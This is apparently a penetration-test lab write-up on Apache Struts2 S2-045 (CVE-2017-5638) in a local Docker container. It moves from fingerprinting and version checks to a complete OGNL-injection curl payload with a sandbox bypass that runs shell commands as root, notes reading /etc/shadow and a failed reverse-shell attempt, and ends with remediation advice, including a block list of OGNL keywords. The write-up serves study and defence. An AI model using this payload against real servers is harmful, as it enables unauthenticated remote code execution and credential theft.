

After starting the container, Struts2 logs show that the application loads familiar configuration files such as struts-default.xml, struts-plugin.xml, and struts.xml. This confirms that the framework in use is Apache Struts2.

A notable point lies in the line:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
This line indicates that Struts2 is choosing the Jakarta multipart parser (multipart upload data analyzer) to handle requests of type multipart/form-data, which is commonly encountered in file upload functionality.
This is a crucial signal when analyzing S2-045 / CVE-2017-5638, since this vulnerability is related to the process where Struts2 handles errors when parsing multipart requests, especially with an invalid Content-Type header.
However, this log only proves that the application uses Struts2 and a Jakarta-style multipart handler. It is not yet sufficient to conclude that the application is definitely vulnerable. To confirm, we need to determine the version of struts2-core and compare it against the affected version range.



When accessing the web service using curl, the response headers show that the application is running on Jetty 9.2.11.v20150529. This information helps identify the environment running the application (servlet container), but does not directly reveal the version of Struts2.
The web interface returns the Struts2 Showcase - Fileupload sample page, with an upload form using:
method="POST" enctype="multipart/form-data" action="/upload.action"
This matches the earlier log where Struts2 chose jakarta for MultiPartRequest: the application indeed has a file upload handling flow via multipart/form-data.
⇒ Thinking: The endpoint /upload.action uses multipart/form-data, matching the mechanism Struts2 processes via Jakarta MultiPartRequest. This is a sign that strengthens the suspicion of S2-045/CVE-2017-5638, but we need to determine the Struts2 version before concluding the application is vulnerable. Next, deeper verification is still needed regarding the version of struts2-core and how the application handles errors when receiving an invalid Content-Type.
After identifying that the application has an upload endpoint using multipart/form-data, the next analysis step is to find the actual version of Struts2. This is crucial because previous signs only showed that the application has a mechanism related to multipart upload, which is not yet sufficient to conclude it is vulnerable.

After identifying the correct container serving Endpoint 8001, checking the libraries is performed directly inside the container project1-lab01-1.
The result found the struts2-core file:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
From this path, we can determine that the application is using Apache Struts2 2.3.30.

Comparing this with the published CVE-2017-5638 / S2-045 vulnerability, it affects many older Struts2 versions, including the 2.3.x branch before the patch. When combined with:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
The analysis condition chain becomes clearer:
`Struts2 Version 2.3.30 < Version 2.3.32
However, from an analysis perspective, a vulnerable version is only evidence of the potential to be affected. To confirm on a behavioral level, we need to send an anomalous multipart request and observe the response/logs to see if it enters the error handling branch of the Struts2 multipart parser.
⇒ Thinking: At this point, it is no longer just about identifying the framework; version 2.3.30 confirms the application lies within the affected version range of S2-045/CVE-2017-5638. The remaining step is to verify the multipart error handling behavior to complete the chain of evidence.

We need to check if requests sent to /upload.action really go through the Struts2 multipart processing mechanism. Here, I use the curl command with the -F option to test the handling mechanism. And the returned result is broken down into parts:
`
⇒ A valid request proves that /upload.action indeed goes through the multipart upload mechanism because curl -F generates multipart/form-data and the server can parse each part of the request.


After sending a request declaring Content-Type as multipart/form-data but with a body that does not conform to the multipart structure, the server still returns HTTP 200 OK. However, the ContentType, FileName, File, and Caption fields are all empty. Checking the Docker logs, we notice that there is no boundary (separator string between parts in multipart), and the client still receives HTTP 200 OK. However, Struts2 actually encountered an error while processing the request.
This proves the chain of evidence:
Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary
⇒ Matches the components related to S2-045/CVE-2017-5638. Thus, the condition chain is more complete: vulnerable version, Jakarta parser, upload endpoint, and the faulty request goes into the correct multipart processing branch.
The critical point of S2-045/CVE-2017-5638 does not only lie in the multipart parser failing. The parser error is just the initial triggering condition. The dangerous part lies in how Struts2 subsequently handles the error message. With affected Struts2 versions, when the multipart parser encounters an error, the error content can be fed into the Struts2 message handling mechanism. If an attacker controls part of the data appearing in the error, especially from the Content-Type header, that data can be evaluated by Struts2 via OGNL (Object-Graph Navigation Language - the expression language of Struts/XWork).
Thinking:
Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE
Identifying that the target uses Struts2, and since Struts2 uses OGNL as its expression engine, searching on PayloadsAllTheThings shows that injecting new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) into Struts2 will fail because Struts2 has a sandbox that blocks access to java.lang.Runtime.

⇒ Assemble the found payload into the Struts2 exploitation structure:
Trigger Jakarta Parser
(#_="multipart/form-data")
Bypass Struts2 Sandbox (Required)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Command Execution Payload
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
However, when executing the payload in practice, we encounter two issues:
readAllBytes() function is only supported starting from Java 9. If we persist in using it, OGNL will silently fail and return a blank HTML page. This is resolved by switching to use the IOUtils class from the org.apache.commons.io library (always available in Struts2) to read the stream.HttpServletResponse, using getWriter().println() to print the output first, and then calling flush() and close() to immediately terminate the connection. This forces the server to return the clean command execution result, bypassing all the junk HTML interface.⇒ Reassembling the above modifications, we get the complete curl command (using ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Exploitation Successful!!!
Although we achieved RCE with root privileges, each command has to be sent via a separate HTTP request, providing a non-interactive environment. A Reverse Shell allows establishing a persistent session, directly interacting with the target system as if sitting in front of the machine, serving information gathering and deeper post-exploitation.
Privilege Verification
After successful exploitation, verify the privileges on the system:
uid=0(root) gid=0(root) groups=0(root)
→ The application runs with root privileges — no privilege escalation is needed.
Sensitive Data Gathering
Read the /etc/shadow file (the file containing password hashes, which only root has permission to access):

→ Proves that the attacker has full read/write access to the system files, including the most sensitive ones.
Note on Reverse Shell
The reverse shell establishment was unsuccessful because the Docker container on Windows uses an internal network (bridge/NAT); the container cannot connect back to the attacker's machine (Kali) on the local LAN. However, this does not affect the severity of the vulnerability — the attacker achieved RCE with root privileges and can execute any command on the system.
The OGNL Injection vulnerability (CVE-2017-5638 / S2-045) on this system is assessed at the highest risk level:
To completely remediate this vulnerability, the system administration and development teams should implement the following measures (ordered by priority):
Urgent Priorities (Short-Term):
JakartaMultiPartRequest library.root user. A dedicated user (e.g., struts_user) should be created with the minimal privileges necessary to run the application.High Priorities (Long-Term & Defense-in-Depth):
%{...}, ${...}, ognl, java.lang.ProcessBuilder) in the Content-Type header.Pell or COS in the struts.xml configuration file (struts.multipart.parser=cos).| Criteria | Assessment | Details |
|---|
| CVSS Score | 10.0 (Critical) | Maximum absolute score. |
| Authentication | Not Required | The attacker does not need an account or to be logged in to exploit this. |
| Complexity | Very Low | Only requires sending a single HTTP Request (POST) containing the payload in the Content-Type header. |
| Privileges Gained | root | Full control over the application/container at the highest privilege level, with the ability to read/write any file (such as /etc/shadow). |
| Lateral Movement | High | From the compromised container, the attacker can scan the internal network (LAN) and attack other containers or host servers. |